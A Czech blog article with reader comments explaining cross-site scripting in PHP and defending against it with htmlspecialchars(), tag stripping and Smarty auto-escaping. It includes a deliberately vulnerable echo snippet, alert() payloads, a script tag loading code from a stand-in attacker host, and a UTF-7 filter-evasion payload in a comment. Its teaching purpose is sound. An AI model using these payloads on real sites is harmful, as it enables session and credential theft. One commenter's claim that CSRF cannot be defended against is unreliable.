Přeskočit na hlavní obsah

Cross-site scripting

Cross-site scripting, označovaný obvykle zkratkou XSS, patří k nejznámějším útokům vůbec. Ačkoliv o něm již bylo napsáno mnoho, je XSS zranitelnost i nadále jednou z nejčastějších chyb současných webových aplikací. Není tedy od věci si jej připomenout i zde.

Princip Cross-site scriptingu

XSS útok spočívá v tom, že se útočníkovi podaří do napadené stránky vložit vlastní HTML kód, který se při následném zobrazení v prohlížeči interpretuje jako HTML. Triviálním případem ukazujícím XSS zranitelnost může být například tento soubor:

<?php
echo $_GET['id'];

Pokud skript zavolám například jako www.example.com/index.php?id=<h1>Hello world</h1>, vypíše se v prohlížeči text Hello world, ovšem naformátovaný jako nadpis první úrovně.

Ač to tak na první pohled nemusí vypadat, představuje takový skript ve většině případů vážnou chybu. Problém je v tom, že na výstup vypisujeme nijak neošetřený vstup od uživatele. Aplikace by přitom zpravidla neměla umožnit uživatelům zvenčí do stránky svévolně vkládat jakékoliv interpretovatelné HTML značky. Proč je to tak nebezpečné?

Konec legrace s JavaScriptem

Podstrčení čistě formátovacích HTML tagů do stránky zase až tak moc zajímavé není. Útočník si jimi hezky naformátuje vložený text, přidá nechtěný obrázek, rozhodí layout stránky.

Sranda ovšem končí v okamžiku, kdy takto útočník vloží kus kódu s tagem <script>. Tím do stránky podstrčí libovolný JavaScriptový kód, který se hned provede. Například po tomto volání našeho skriptu vyskočí na uživatele alert okénko:

www.example.com/index.php?id=<script>alert('Hello world');</script>

Takto už se dá škodit mnohem více. Útočník může například pomocí XSS nahradit původní důvěryhodný textový obsah stránek svým vlastním, aniž by návštěvník webu vůbec poznal, že se jedná o podvrh. Obdobně může zaměnit cíl přihlašovacího formuláře na stránce tak, aby se uživatelské jméno a heslo odesílalo jemu namísto původní aplikace. Existují dokonce červi, kteří se takto sami šíří z již napadených stránek na další děravé weby. A tak podobně, záleží jen na fantazii útočníka.

Ještě větší nebezpečí přináší fakt, že podstrčený JavaScriptový kód se provádí v kontextu dané stránky. Útočník tak má například plný přístup k uživatelově cookies, může mu třeba prostřednictvím XSS ukrást jeho aktuální Session ID včetně platného přihlášení do aplikace. Pokud je web v prohlížeči zařazen do důvěryhodné zóny, jsou všechny skripty spouštěny s rozšířenými oprávněními této zóny. A tak dále.

Skriptujeme napříč weby

Dosud jsem předpokládal, že se v URL stránky přímo předává celý podsouvaný JavaScriptový kód. To by ale v případě složitějších útoků neúměrně natahovalo délku celého URL. Problém se nejčastěji řeší tak, že útočník uloží celý škodlivý skript na svůj web. Do parametru v URL napadené stránky pak vloží jen tag pro natažení tohoto svého externího skriptu:

<script src=http://www.example.net/xss.js></script>

Od takového načítání škodlivých skriptů z webu útočníka má celá technika svůj název – Cross-site scripting.

Cesty XSS jsou nevyzpytatelné

Celý útok by byl téměř nepoužitelný, pokud by se oběti muselo vždy podsunout nějaké upravené URL. To je velice pracné a je zde vysoká pravděpodobnost, že si oběť podivného parametru všimne.

Perzistentní XSS je zdaleka nejpoužívanější variantou útoku. Je postaven na tom, že se útočníkovi podaří umístit škodlivý kód do napadeného webu natrvalo. Typickým příkladem je vložení diskuzního příspěvku, do kterého vedle běžného textu napíše právě i svůj JavaScriptový kód. Příspěvek se uloží do databáze a následně se zobrazuje všem dalším návštěvníkům webu – včetně spuštění daného skriptu.

Praktických způsobů, jak do zdrojáku napadené stránky dostat škodlivý skript, existuje celá řada. Často se k tomu jako prostředek využívají i kombinace s některými jinými útoky, například Cross-site request forgery nebo HTTP Response Splitting, o kterých se podrobněji rozepíšu někdy později. Naopak i XSS samo o sobě často slouží jen jako pomocný nástroj pro přípravu či provedení jiných druhů útoků.

Obecně lze ale říci, že nebezpečný může být prakticky jakýkoliv vstup do aplikace, který by se mohl byť i jen teoreticky kdykoliv později vypisovat na výstup. Tedy zejména superglobální proměnné $_GET, $_POST, $_REQUEST, $_COOKIE, $_SERVER, globalizované ekvivalenty jejich prvků při zapnutých register_globals apod.

Ochrana před XSS

Spolehlivá ochrana před XSS je přes všechny uvedené složitosti překvapivě jednoduchá – ošetřit důsledně všechny výstupy z aplikace funkcí htmlspecialchars().

Funkce nahradí všechny HTML citlivé znaky jejich odpovídajícími textovými entitami. Menšítko nahradí za &lt;, většítko za &gt; apod. Díky tomu se případné HTML značky podstrčené útočníkem neinterpretují v prohlížeči ve svém významu, ale vypíší se na obrazovku přesně tak, jak je útočník zadal. Náš shora uvedený triviální skript bychom tedy mohli opravit:

<?php
echo htmlspecialchars($_GET['id']);

Pokud jej nyní zavoláme jako www.example.com/index.php?id=<h1>Hello world</h1>, server pošle zpátky klientovi zdroják &lt;h1&gt;Hello world&lt;/h1&gt; a v okně prohlížeče se vypíše prosté <h1>Hello world</h1>.

Detekovat, ořezat, vyházet

Existují ale i další možnosti, které jsou ale již komplikovanější či méně spolehlivé. Využijeme je zejména v situaci, kdy chceme ve vstupních řetězcích nechat i nějaký interpretovatelný HTML kód. Například když programujete nějaké CMS a nabízíte uživatelům formátování vloženého obsahu pomocí HTML. Ale i zde je dobré se nejprve zamyslet nad alternativami, jako je Texy.

Smazání všech HTML tagů pomocí funkce strip_tags(). Její druhý parametr umožňuje zadat seznam elementů, které chceme nechat. Funkce ale už neumí zachovat resp. zrušit jen určité jednotlivé atributy, v našem případě zejména událostní skriptování. Také se nemusí chovat podle očekávání, pokud zpracovávaný text obsahuje špatně uzavřené tagy apod.

Totéž pomocí vlastních regulárních výrazů. Napsat spolehlivý a plně funkční regulární výraz, který počítá se všemi možnými případy, je dost obtížné. Navíc potenciálně hrozí, že zapomenete ošetřit některý nebezečný případ.

Detekce potenciálně škodlivých konstrukcí. Množinu hlídaných patternů lze založit například na seznamu uveřejněném v XSS Cheat Sheet. Reálné je ale riziko, že se vždy na nějakou nebezpečnou možnost či její variantu zapomene.

Vyčištění pomocí XSLT šablony. Pro tuto možnost odkazuji na svůj starší článek Ošetření vstupního textu pomocí XSLT.

Paušální jistota

Ale zpátky k základní ochraně pomocí htmlspecialchars(). Překvapivě často se setkávám s tím, že si programátoři selektivně vybírají, co při výpisu ošetří a co ne. Například funkcí proženou pouze ta data, o kterých vědí, že pochází ze vstupu od uživatele. Anebo třeba ještě jen nenumerické výstupy.

Teoreticky je to v pořádku a nic jiného skutečně ošetřovat netřeba. V praxi je ale obrovská pravděpodobnost, že se na něco zapomenete, že vám něco unikne, že nedohlédnete do všech souvislostí v aplikaci, nevystopujete důsledně původ všech vypisovaných dat. Navíc mi přijde zbytečné podstupovat u každého echa intelektuální námahu rozhodováním, zda zrovna tohle je nutné ošetřit či nikoliv.

Důrazně proto doporučuji důsledně používat htmlspecialchars() paušálně na úplně všechny výstupy z aplikace. Udělejte si z toho svůj základní programátorský návyk. Musíte být nervózní pokaždé, když napíšete echo bez htmlspecialchars().

Neplakat na špatném hrobě

Další častou chybou bývá používání funkce htmlspecialchars() na nevhodných místech. Typicky například při ošetřování a kontrole vstupních proměnných na začátku skriptu či při ukládání do databáze. Do aplikace si tak zanášíte nesystémové rozpory a závislost celé aplikační a datové vrstvy na konkrétním typu výstupu, které se vám dříve či později vymstí.

Ošetření pomocí htmlspecialchars() používejte výhradně až při odesílání dat na výstup.

Samozřejmě existují čestné výjimky z tohoto pravidla, například když budete databázi využívat jako cache uložiště pro předpřipravený naformátovaný HTML výstup či jeho část.

Podrobněji jsem se o tomto tématu rozepsal v samostatném článku Aplikační data čistá jako lilie.

Systémově se šablonami

I přes veškerou snahu o důsledné používání htmlspecialchars() může člověku sem tam něco utéct. Standardní postup, jak jsem jej popsal výše, vychází ze skutečnosti, že implicitně není chráněn žádný výstup a vy musíte vše explicitně ošetřovat.

Přímo se tu nabízí možnost vzít to celé za opačný konec. Tedy systémově zajistit automatické ošetřování všech výstupů, pokud si výslovně neřeknete, že některý z nich chcete nechat tak, jak je. Pak už je jen a pouze na programátorovi, zda někde záměrně a vědomě vložení HTML kódu umožní.

Popsané chování umožňuje řada současných šablonovacích systémů. Například ve Smarty lze nastavit implicitní používání modifikátoru escape pro celou šablonu:

$smarty = new Smarty();
$smarty->default_modifiers = array('escape:"html"');

Komentáře

  1. Nejsem programátor, spíše se PHP jen poslední dobou bavím. Zajímalo by mě, jak ošetřit proti XSS (jeli-to ten útok, možná se pletu) jestliže nevkládá přímo javascript, ale místo toho nějaký podvrh – např. vloží obrázek z jeho serveru, kde ale namísto obrázku je nějaký skript.

  2. [6] Myslím, že nemáš pravdu, blíže jsem se na toto téma rozepsal v článku http://www.phpguru.cz/clanky/aplikacni-data.

    [8] Pak je na místě kontrolovat, zda je v atributu src zadané platé URL, ať už třeba pomocí regulárních výrazů či pomocí speciálně upravené XSLT šablony.

  3. [8] zkus to s Texy ;-)) Více info na forum.texy.info href=„http://­forum.texy.in­fo/viewtopic.php?pid=232­5“ rel=„nofollow ugc“>http://fo­rum.texy.info/vi­ewtopic.php?pid=2325

  4. [2] hned ti odpoviem od konca. ochrana neexistuje. ziadny uzasny kod ta nezachrani od CSRF. to je totizto vlastnost samotneho HTTP (RFC 2616). ak mam url http://domena.com/logout? a tato url zabezpecuje odhlasenie, tak poslanim CSRF na tuto url ta logoutne. mozes tam dat aj 139 tokenov a inych serepeticiek, vsetko sa da velmi krasne a celkom jednoducho nasimulovat k plnej spokojnosti.
    ako priklad csrf chat obchadzajuci tokeny
    http://www.thespanner.co.uk/2008/02/11/csrf-chat/
    zle. nie obchadzajuci, ale pouzivajuci. ochrana proti csrf je mozna cez urcite projekty (owasp), ale v tomto momente to povazujem skor za experimentalnu ochranu ako skutocne vyuzitelnu

  5. HEHE já s XSS útočím,dost mě to baví :-D

  6. ale weby už mají docela ochranu tak to jen tak nejde

    +ADw-SCRIPT+AD4-alert(‚XSS‘);+ADw-/SCRIPT+AD4–